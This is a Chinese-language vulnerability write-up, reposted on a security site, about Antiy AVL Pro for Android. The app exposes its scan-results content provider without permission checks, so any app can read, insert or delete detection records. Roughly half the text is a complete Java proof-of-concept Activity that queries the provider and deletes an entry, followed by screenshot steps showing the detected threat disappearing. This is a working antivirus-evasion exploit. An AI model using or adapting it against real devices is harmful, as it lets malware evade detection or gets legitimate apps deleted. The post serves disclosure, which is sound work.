Antiy(安天)漏洞可导致病毒免杀或误杀合法软件下载

来源:黑吧安全网 浏览:591次 时间:2014-07-12
做网站找雨过天晴工作室

Antiy avl pro android版存在漏洞,若被病毒/木马利用可以逃过avl的扫描发现

avl pro在杀毒引擎查杀完手机之后,杀毒结果先保存在db中,之后通过provider读出扫描信息呈现给用户, 如有病毒则提示删除/清除等动作.

而该provider名为content://com.antiy.avlpro.MyProvider,却无权限暴露在外.

导致任意apk,无须申请任何特殊权限即可随意访问,读取/删除/插入db中的内容.

从而,若是恶意程序利用,则可以构造内容插入,以导致avl误判/删除正常合法apk;抑或实时(或短时间隔线程轮寻)db内容若见到自己package则予以删除,从而免杀.

poc:

 

package com.ieroot.android_providerdemo;
import android.net.Uri;
import android.os.Bundle;
import android.app.Activity;
import android.content.ContentResolver;
import android.database.Cursor;
import android.view.Menu;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;

public class MainActivity extends Activity implements OnClickListener
{

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
TextView tView = (TextView)findViewById(R.id.result);
tView.setText(getData());

// add onclick listener
Button show = (Button)findViewById(R.id.show);
show.setOnClickListener(this);
Button delete = (Button)findViewById(R.id.delete);
delete.setOnClickListener(this);
}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

public String getData()
{
String avlUri = "content://com.antiy.avlpro.MyProvider";
String resultString = "";
ContentResolver resolver = this.getContentResolver();
Cursor cursor = resolver.query(Uri.parse(avlUri), new String[]{"pkg_name","v_name"}, null, null, null);
while (cursor.moveToNext())
{
String pkg_name = cursor.getString(cursor.getColumnIndex("pkg_name"));
String v_name = cursor.getString(cursor.getColumnIndex("v_name"));
resultString += pkg_name + "\t" + v_name;
}
return resultString;
}
public void deleteData()
{
String avlUri = "content://com.antiy.avlpro.MyProvider";
ContentResolver resolver = this.getContentResolver();
resolver.delete(Uri.parse(avlUri), "pkg_name = 'com.tf.thinkdroid.sg'", null);
Toast.makeText(this, "delete is clicked", 0);
}

@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
if (arg0.getId() == R.id.show)
{
TextView tView = (TextView)findViewById(R.id.result);
tView.setText("show : " + "\n" + getData());

}
if (arg0.getId() == R.id.delete)
{
deleteData();
}
}

}





为证明清晰, 特意把各个步骤拆分,逐一截图讲解. 实际使用时,用户看不到任何这些过程. 只能承受结果: 病毒没有被发现或者合法程序被查杀.

截图:

该图中avl查杀一个risk. 务必记住名字.

图1,

 

该图中,POC程序通过暴露的provider读出db中的内容.

图2,

点击删除button, 删除db中的内容.

该图中,显示db中的内容已空.

图3,

回到avlpro的界面,显示0个威胁:

图4,

也就是说,POC程序在没有申请任何权限的情况下,成功修改了avl pro的判别结果.
发散思维~~